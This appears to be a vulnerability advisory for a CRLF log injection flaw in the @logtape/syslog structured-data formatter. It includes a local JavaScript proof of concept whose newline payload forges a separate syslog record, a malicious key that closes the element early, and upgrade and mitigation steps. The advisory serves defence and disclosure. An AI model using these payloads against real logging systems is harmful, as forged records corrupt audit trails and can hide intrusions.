CVE-2026-54511: @logtape/syslog CRLF Log Injection via Unescaped C0 Control Characters
A missing escape for newlines and other control characters in the syslog structured data formatter lets an attacker who controls a log property value inject forged syslog records into downstream…

The problem
@logtape/syslog versions 2.1.0 through 2.1.4 (and equivalent 1.x/2.0.x releases) contain two output-encoding bugs in the structured data path, both active only when includeStructuredData: true is set.
First, escapeStructuredDataValue() escapes \, ", and ] per RFC 5424 but leaves all C0 control characters (U+0000-U+001F) unmodified. A literal \n inside a value terminates the current TCP syslog frame (RFC 6587 non-transparent framing), and bytes after it are parsed as a new, independent syslog record by downstream collectors.
Second, structured data parameter keys are written into the message without any RFC 5424 SD-NAME validation. A key containing ], ", =, a space, or more than 32 characters produces malformed structured data. If an application forwards attacker-controlled keys (for example, by spreading arbitrary request headers into log properties), a ] in a key can prematurely close the structured-data element.
Proof of concept
A working proof-of-concept for CVE-2026-54511 in @logtape/syslog, with the exact payload below.
// Proof of concept: no dependencies, no network required
// Run with: node poc.mjs
function escapeStructuredDataValue(value) {
return value
.replace(/\\/g, "\\\\")
.replace(/"/g, '\\"')
.replace(/]/g, "\\]");
// \n, \r, NUL, and all other C0 characters pass through unchanged
}
// Payload: legitimate value terminated by \n, then a forged RFC 5424 syslog header
const payload =
'normal\n<134>1 2026-01-01T00:00:00Z forged evil - - - INJECTED';
const result = escapeStructuredDataValue(payload);
console.log("Newline still present after escape:", result.includes("\n")); // true
console.log("--- raw output that reaches the TCP stream ---");
console.log(result);
// Line 1 (original frame): [exampleSDID@32473 key="normal
// Line 2 (injected frame): <134>1 2026-01-01T00:00:00Z forged evil - - - INJECTED
// A downstream collector treats line 2 as an authentic syslog record.
// Second vector: invalid SD-NAME key containing ] closes the SD element early
const maliciousKey = 'x]"';
const sdElement = `[exampleSDID@32473 ${maliciousKey}="value"]`;
console.log("\nMalformed SD element:", sdElement);
// Output: [exampleSDID@32473 x]"="value"] <- ] closes element prematurelyThe root cause is CWE-117/CWE-93: output that is written to a framed stream must neutralize all characters that carry meaning to the framing layer, not only the characters defined by the payload encoding (RFC 5424 PARAM-VALUE).
TCP syslog with non-transparent framing (RFC 6587) uses \n as a record delimiter. Because escapeStructuredDataValue() only covered RFC 5424 quoting characters and ignored the transport-layer delimiter, a value containing \n split the output stream into two frames.
The second frame, if crafted to start with a valid RFC 5424 priority+version header, was accepted by rsyslog, syslog-ng, Splunk, and Elastic Stack as a legitimate record.
The patch replaces every C0 character (U+0000-U+001F) in structured data values with a printable #NNN sequence before the message is assembled, and adds an RFC 5424 SD-NAME regex guard that skips any property key that fails validation.
The fix
Update @logtape/syslog to **2.1.5** (or **2.0.14** / **1.3.11** on older branches). Run npm update @logtape/syslog (or the equivalent for your package manager), then redeploy. If you cannot update immediately, set includeStructuredData: false in your SyslogSinkOptions to disable the vulnerable code path entirely.
Related research
- highCVE-2026-54606CVE-2026-54606: suneditor Embed Plugin DOM XSS via External Script Element
- high · 8.6CVE-2026-55604CVE-2026-55604: @arikusi/deepseek-mcp-server Cross-Session Authorization Bypass
- highCVE-2026-55629CVE-2026-55629: whistle Arbitrary File Read via Path Traversal
- high · 8.7CVE-2026-55596CVE-2026-55596: @platejs/media Media Embed Stored XSS via Serialized Provider Metadata